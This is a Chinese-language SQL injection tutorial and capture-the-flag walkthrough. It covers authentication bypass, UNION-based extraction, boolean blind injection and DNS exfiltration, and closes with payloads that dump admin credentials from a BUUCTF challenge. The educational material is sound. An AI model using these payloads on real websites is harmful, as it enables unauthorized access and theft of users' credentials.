首先,sql注入可以通过url(应该都知道吧)链接、表单输入等途径实现,可以使用hackbar、burp等工具(sql语句不区分大小写)
sql语法
例如:现在有一个保存在数据库中的用户名密码表
叫allusers
选取表格里面的所有内容:
1 | SELECT*FROM allusers |
在上面的基础上,选取指定的用户名、密码:
1 | WHERE username =‘admin’ AND password ='pass' |
最简单的sql注入:
将上面的语句改为:
1 | WHERE username =‘admin'’ AND password ='pass' |
可见多加了一个 ‘ 此条语句报错,黑客通过错误代码,可以得知sql注点
若将语句改为这样,– 这个符号后面的被解释为注释,不执行
1 | WHERE username =‘admin' -- ’ AND password ='pass' |
注释不被执行,则可以直接通过用户名而不需要密码登陆账户,但是前提是得知道正确的用户名
若不知道正确的用户名,该怎么办?
由于
1 | WHERE username =‘admin' -- ’ AND password ='pass' |
此语句用 AND 连接,有个判断AND前后真假值的流程
若是用OR连接两个条件,并且确保有一个条件永真,则整条语句被判断为真
例如
1 | WHERE username =‘admin' OR 1=1 -- ’ AND password ='pass' |
sql里合并两个表格内容:
用UNION 连接俩个SELECT语句,例如
1 | SELECT * FROM table1 UNION SELECT * FROM table2 |
在mysql中,UNION SELECT 后面可以不加指定表格名字,直接加 NULL
例如
1 | SELECT * FROM table1 UNION SELECT NULL,NULL |
后面加一个NULL,若是没有报错,则表明table1这个表格是一列,
后面加俩个NULL,若是没有报错,则表明table1这个表格是俩列,
因此,黑客可以一直用NULL测试,知道没有报错,从而得知table1 是个几列表格
假如我现在使用下面语句进行测试
1 | SELECT * FROM table1 UNION SELECT **NULL,NULL**,NULL FROM allusers |
意思是将allusers和table1进行合并(具体怎么并目前还没搞清楚)
但是,如果如果allusers的各个数据类型和table1不一致,则无法完成合并(UNION合并必须保证数据类型和列数一致,例如:数字和字符不是一个数据类型)
因此,还要对数据类型进行测试,例如
1 | SELECT * FROM table1 UNION SELECT ‘1’ , NULL , NULL 报错 |
则可以得知,第三列为数字
注入:
在可注入的地方,加入 ’ 中止数据内容,并加入注释关键词:
1 | SELECT * FROM table1 WHERE name='admin' --' |
这时候,在中间注入UNION语句:
1 | SELECT * FROM table1 WHERE name='admin' UNION SELECT NULL,username,password FROM allusers --' |
一般不加保护的数据库的网站,就会将合并新内容后的表展示在页面上,这时就可以知道账户密码了
要是有保护?该怎么办?
利用cookie!
cookie保存在数据库中
cookie向服务器发展出请求,数据库利用相关语句查找cookie:
cookie请求数据库:
1 | cookie:cookieid=astljs |
随后数据库查找存储的cookie:
1 | SELECT cookieid FROM allusers WHERE cookieid='astljs' |
此时,可以修改cookie的值:
1 | SELECT cookieid FROM allusers WHERE cookieid='astljs' --‘ |
若页面未改变,则表示可以注入
如果我们故意让逻辑判错:
1 | SELECT cookieid FROM allusers WHERE cookieid='astljs' AND 1=0 --‘ |
此时页面出错,可以得知查询出错时页面状态
此时便可以不断进行调试,根据页面状态判断调试结果的对错
利用SUBSTRING语句进行判断:
1 | SELECT cookieid FROM allusers WHERE cookieid='astljs' AND SUBSTRING('password',1,1) ='m' --‘ |
此语句的意思是:判断password字符串的第一个字符是否为m
黑客可以将SUBSTRING里的第一个参数修改为一个查询语句,接下来就是不断发送请求,修改判断字符,爆破出密码:
1 | SELECT cookieid FROM allusers WHERE cookieid='astljs' AND SUBSTRING(**(SELECT password FROM users WHERE user='admin')**,1,1) ='m' --‘ |
这就是所谓的布尔注入,是一种盲注(盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程为盲注)
当网站不返回页面时该怎么办呢?
例如:向mysql注入LOAD_FILE()函数,给其提供域名,会触发DNS查询,如果在域名中动手脚,比如插入管理员密码查询语句,并且返回给黑客自己的服务器里,则可以间接得到管理员密码。
针对上面的教学,遇到实战问题:
1,在查表有几列时,不知道表的名字怎么办?
注意:由于sql注入可以通过url链接进行,下面实例利可用hackbar进行,所写的sql语句是直接加在相关url链接后面的,例如:
直接用order by
例如:
1 | order by 2 |
后面的数字可以自己更改来测试,此语句:按照查询结果的第三个列进行排序,实际用处就是判断相应的表的列存在与否,用1、2、3……依次试验,直到找到未响应的一个
2,如何判断显位点?
当我们找到注入点后,想找到注入后哪里会回显我的需要的信息
举个例子
1 | id=-2 union select 1,2 |
具体来说,”id=-1”是一个无效的条件,它被用来绕过原始查询语句中的WHERE子句。”union select 1,2”是一个新的SELECT语句,它将查询的结果与原始查询的结果进行联合。在这种情况下,新查询语句返回的结果是两个值1和2。
(下面的”id“是测试网址中的参数,由于其目的是制造无效条件,在其他不含id这个参数的网站中,只需要同样制造无效条件即可,下同)
3,如何获取数据库名称?
例如:
1 | id=-1 union select 1,database() |
“id=-1”是注入的查询条件,通常是一个无效的条件,它将会被忽略,因为它不符合任何实际数据的过滤条件。
“union”用于将两个或多个SELECT查询结果合并成一个结果集。
“select 1”表示第一个查询结果为1。
“database()”表示查询当前数据库的名称。在这个查询中,它返回的是当前数据库的名称,通常是用于确定数据库的名称,以便后续攻击。
4,得到数据库名字后,如何获取数据表的信息?
1 | id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='news') |
“news”是实例中的数据库名称
“id=-1”是注入的查询条件,通常是一个无效的条件,它将会被忽略,因为它不符合任何实际数据的过滤条件。
“union”用于将两个或多个SELECT查询结果合并成一个结果集。
“select 1”表示第一个查询结果为1。
1 | "(select group_concat(table_name) from information_schema.tables where |
table_schema=’news’)”是一个子查询,它返回包含指定数据库中所有表名称的逗号分隔字符串。在这个查询中,它返回的是当前数据库中所有表名称的逗号分隔字符串。
此步可得知数据表信息,例如数据表名字,得到数据表名字后,可进一步读取数据表中的字段:
1 | id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin') |
“admin”、”contents”是此实例中的表的名称
实例中得到字段名称id、usernames、password(未放示意图)
获取usernames的信息:
1 | id=-1 union select 1,(select group_concat(username) from admin) |
获取password信息:
1 | id=-1 union select 1,(select group_concat(password) from admin) |
得到密码!
本实例地址:BUUCTF在线评测 (buuoj.cn) 里的basic板块下的BBUU SQL COURSE 1 1题目